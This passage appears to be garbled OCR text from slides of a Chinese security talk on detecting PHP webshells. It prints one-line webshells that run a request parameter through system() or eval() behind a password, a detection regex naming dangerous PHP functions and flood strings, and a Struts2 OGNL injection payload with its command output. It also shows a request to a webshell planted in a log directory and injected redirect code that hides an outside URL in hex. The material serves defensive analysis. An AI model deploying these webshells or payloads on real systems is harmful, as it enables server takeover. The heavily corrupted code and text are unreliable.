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01. <?php
02. system($ REQUEST( 1):

03. >

04. <form method= action="">

05. <input type= name= /><input typi
06. </form>

07.
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private $_regex = '(preg_replace.x\/e| .x?\$.%?" |\bcreate_function\b]|\b

passthru\b|\bshell_exec\b|\bexec\b|\bbase64_decode\b|\bedoced_46esab\b|\beval

\b|\bsystem\b|\bproc_open\b|\bpopen\b|\bcurl_exec\b|\bcurl_multi_exec\b|\bpars
e_ini_file\b|\bshow_source\b|cmd\.exe|KAdot@ngs\.ru|/NEZHKRS | |5 |PHP\s?
K58 | shell\s?/ns&hkR |[WScript\.shell|PHP\s?Shell|Eval\sPHP\sCode |Udpl-fsockopen |xx
ddos|Send\sFlow|fsockopen\ (' (udp|tcp) |SYN\sFlood)';
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$a=$_POST[sb];
$b=%a;
evall$bl;




= e Webshell-sandbox

@ OWASP H [X]

The Open Web Application Security Project

aN{eI S Z RS UESF IR &l 2

$pass=$_POST[pass];
if( $pass == "maidou’ )
{
$a=$_POST[sb];
$b=%a;
eval($b);
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e HEwebshell I EFZR G THITHITNEE
BER BB

FUSI1 /TODUULITELK-IUZEITN.ALLOII
method:%23_memberAccess%3d%400gnl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23a9

arameters.command[0]%29.getinputStream%28%29%2c%23b%3dnew%20java.io.InputStreamRe
%28%23b%29%2c%23d%3dnew%20char[51020]%2c%23c.read%28%23d%29%2c%23kx|zx%3d%4
29.getWriter%28%29%2c%23kxlzx.printin%28%23d%29%2c%23kxlzx.close&command=ls -lh

MR A

drwxr-xr-x 2 xiaoi xiaoi 4.0K May 16 2013 resources
drwxr-xr-x 2 xiaoi xiaoi 4.0K Apr 21 17:50 run
-rw-r--r-- 1 xiaoi xiaoi 17K May 16 2013 start.jar
drwxr-xr-x 6 xiaoi xiaoi 4.0K Apr 26 18:24 webapps
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pwd

ifconfig

ifconfig
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maidoudeMacBook-Pro:case maidouS pwd
/Users/maidou/work/case

maidoudeMacBook-Pro:case maidous ifconfig
l00: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu
16384

options=3<RXCSUM, TXCSUM>

inet6 ::1 prefixlen 128

inet 127.0.0.1 netmask 0xff000000

inet6 fe80::1%l00 prefixlen 64 scopeid Ox1

nd6 options=1<PERFORMNUD>

maidoudeMacBook-Pro:case maidou$ netstat

Active Internet connections

Proto Recv-Q Send-Q Local Address Foreign Address
(state)

tcp4 0 O localhost.55388 localhost.sunproxyadmi
SYN_SENT
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POST /uc_server/data/logs/20140708.php?v=1a HTTP/1.1

Host: bbs.xxxxx.com

Referer: http://bbs.xxxxx.com/uc_server/data/logs/20140708.php?v=1a
User-Agent: Sogou

Content-Length: 60
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stopCCAttack();
function stopCCAttack(}{

SccFlag = False;

5 AT P uh

NMEAETHLRME FEE
TCCIWEHIES

x=

%)

,&,T)ﬂﬂj
) ONE]

.I.IJ

SccForwardUrl = PACK('H*®','687474703a2f2f66696c652e6c62676f6f2e636f6d2f66696c655f3132302f33372f7665722e706870');
SstopString =explode(" | ", 'fuwugibeiheikerugin |wangzhanbeihei| ginggenghuanfuwugi | chongzhuangwangzhan');

SstopRef = explode(" |’
SwhiteRef = explode(" |
SreffFlag = True;
if(!lempty(S_SERVER['HTTP_REFERER']){
foreach(SwhiteRef as Svalue){

if(stristr(S_SERVER['HTTP_REFERER'], Svalue)}{

SreffFlag = False;

SrefFlag = False;

if($_GET['fid"] =='1308' && Srefflag){
header('Location:
exit;

.SccForwarduUrl);

,'Php100|3jy| dm123|tvtour|qdgss.cn|cfan.com.cn|12edu’);
","haosou.com |sogou.com |baidu.com |google. con™u . );
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